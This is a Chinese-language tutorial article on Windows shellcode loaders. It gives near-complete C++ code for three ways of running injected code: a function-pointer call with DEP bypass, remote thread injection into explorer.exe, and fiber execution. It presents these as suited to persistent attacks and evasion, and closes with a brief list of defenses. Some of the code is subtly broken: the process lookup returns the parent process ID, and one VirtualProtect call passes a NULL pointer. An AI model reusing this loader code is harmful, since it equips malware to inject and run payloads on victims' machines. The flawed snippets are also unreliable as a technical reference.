简述几种shellCodeLoader
字数 1483 2025-08-19 12:41:26
Shellcode Loader 技术详解
1. 基础概念
Shellcode Loader 是一种用于加载和执行 shellcode 的技术,通过多种方式将恶意代码注入到进程内存中并执行。本文详细介绍几种常见的 shellcode 加载技术。
2. 指针直接执行法
2.1 基础实现
#include <iostream>
#include <Windows.h>
// 指定链接器选项,修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")
// shellcode
unsigned char hexData[990] = {};
int main() {
// 将hexData转换为函数指针并执行
((void (*)(void))&hexData)();
return 0;
}
2.2 DEP 保护问题与解决方案
现代 Windows 系统有 DEP(数据执行保护)机制,需要手动修改内存保护属性:
int main() {
VirtualProtect(hexData, sizeof(hexData), PAGE_EXECUTE_READWRITE, NULL);
((void (*)(void))&hexData)();
return 0;
}
VirtualProtect 函数参数:
lpAddress: 要修改的内存区域的起始地址dwSize: 需要修改的内存区域大小(字节)flNewProtect: 新的保护属性lpflOldProtect: 保存旧的保护属性的指针
3. 远程线程注入
3.1 基本流程
- 获得目标进程ID
- 写入线程shellcode
3.2 关键API函数
CreateToolhelp32Snapshot
HANDLE WINAPI CreateToolhelp32Snapshot(
_In_ DWORD dwFlags, // 快照类型
_In_ DWORD th32ProcessID // 进程ID
);
快照类型标志:
TH32CS_SNAPALL: 包含所有进程、线程、堆和模块TH32CS_SNAPPROCESS: 只包含进程TH32CS_SNAPTHREAD: 只包含线程TH32CS_SNAPHEAPLIST: 指定进程的堆TH32CS_SNAPMODULE: 指定进程的模块TH32CS_INHERIT: 快照句柄可被子进程继承
OpenProcess
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问权限
BOOL bInheritHandle, // 是否继承句柄
DWORD dwProcessId // 进程ID
);
VirtualAllocEx
LPVOID VirtualAllocEx(
HANDLE hProcess, // 进程句柄
LPVOID lpAddress, // 内存基址(NULL为自动选择)
SIZE_T dwSize, // 大小(字节)
DWORD flAllocationType, // 内存分配类型
DWORD flProtect // 内存保护类型
);
内存分配类型:
MEM_COMMIT: 提交内存区域MEM_RESERVE: 保留内存区域MEM_RESET: 指示内存数据无效MEM_TOP_DOWN: 在高地址分配内存MEM_WRITE_WATCH: 跟踪写入页面MEM_PHYSICAL: 分配物理内存
内存保护类型:
PAGE_EXECUTE: 可执行PAGE_EXECUTE_READ: 可读可执行PAGE_EXECUTE_READWRITE: 可读写可执行PAGE_EXECUTE_WRITECOPY: 可读写可执行(写时复制)PAGE_NOACCESS: 不可访问PAGE_READONLY: 只读PAGE_READWRITE: 可读写PAGE_WRITECOPY: 可读写(写时复制)
WriteProcessMemory
BOOL WriteProcessMemory(
HANDLE hProcess, // 进程句柄
LPVOID lpBaseAddress, // 基址
LPCVOID lpBuffer, // 源缓冲区指针
SIZE_T nSize, // 要写入的大小
SIZE_T* lpNumberOfBytesWritten // 实际写入字节数
);
CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess, // 进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性
SIZE_T dwStackSize, // 线程栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数指针
LPVOID lpParameter, // 线程参数
DWORD dwCreationFlags, // 创建标志
LPDWORD lpThreadId // 线程ID
);
3.3 完整实现代码
DWORD findProcessId(const wchar_t* targetProcessName) {
HANDLE hShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(hShot, &pe)) {
do {
if (wcscmp(pe.szExeFile, targetProcessName) == 0) {
CloseHandle(hShot);
return pe.th32ParentProcessID;
}
} while (Process32Next(hShot, &pe));
}
}
int main() {
const wchar_t* targetProcessName = L"explorer.exe";
DWORD proessId = findProcessId(targetProcessName);
HANDLE openPr = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proessId);
LPVOID mec = VirtualAllocEx(openPr, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
SIZE_T bytes;
WriteProcessMemory(openPr, mec, shellcode, sizeof(shellcode), &bytes);
HANDLE hThread = CreateRemoteThread(openPr, NULL, 0,
(LPTHREAD_START_ROUTINE)mec,
NULL, 0, NULL);
return 0;
}
4. 纤程执行技术
纤程(Fiber)是用户级的轻量级并发单元,与线程不同,不依赖操作系统调度,由应用程序管理。
4.1 关键API函数
ConvertThreadToFiber
PVOID ConvertThreadToFiber(PVOID pFiber); // 将当前线程转化为纤程
CreateFiber
PVOID CreateFiber(
SIZE_T dwStackSize, // 纤程栈大小
LPFIBER_START_ROUTINE pFiberProc, // 函数指针
PVOID pParameter // 参数指针
);
SwitchToFiber
void SwitchToFiber(PVOID pFiber); // 切换到指定纤程
DeleteFiber
void DeleteFiber(PVOID pFiber); // 删除纤程对象
4.2 完整实现代码
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
// 将当前线程转换为纤程
ConvertThreadToFiber(NULL);
// 创建纤程对象关联到shellcode
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
// 切换到新创建的纤程执行shellcode
SwitchToFiber(shellcodeFiber);
// 删除纤程对象
DeleteFiber(shellcodeFiber);
5. 技术对比
| 技术 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| 指针直接执行 | 实现简单 | 易被DEP拦截 | 简单测试环境 |
| 远程线程注入 | 隐蔽性较好 | 需要目标进程权限 | 持久化攻击 |
| 纤程执行 | 用户态调度 | 实现较复杂 | 高级规避技术 |
6. 防御措施
- 启用DEP(数据执行保护)
- 使用ASLR(地址空间布局随机化)
- 限制进程权限
- 监控可疑的API调用
- 使用行为检测而非特征检测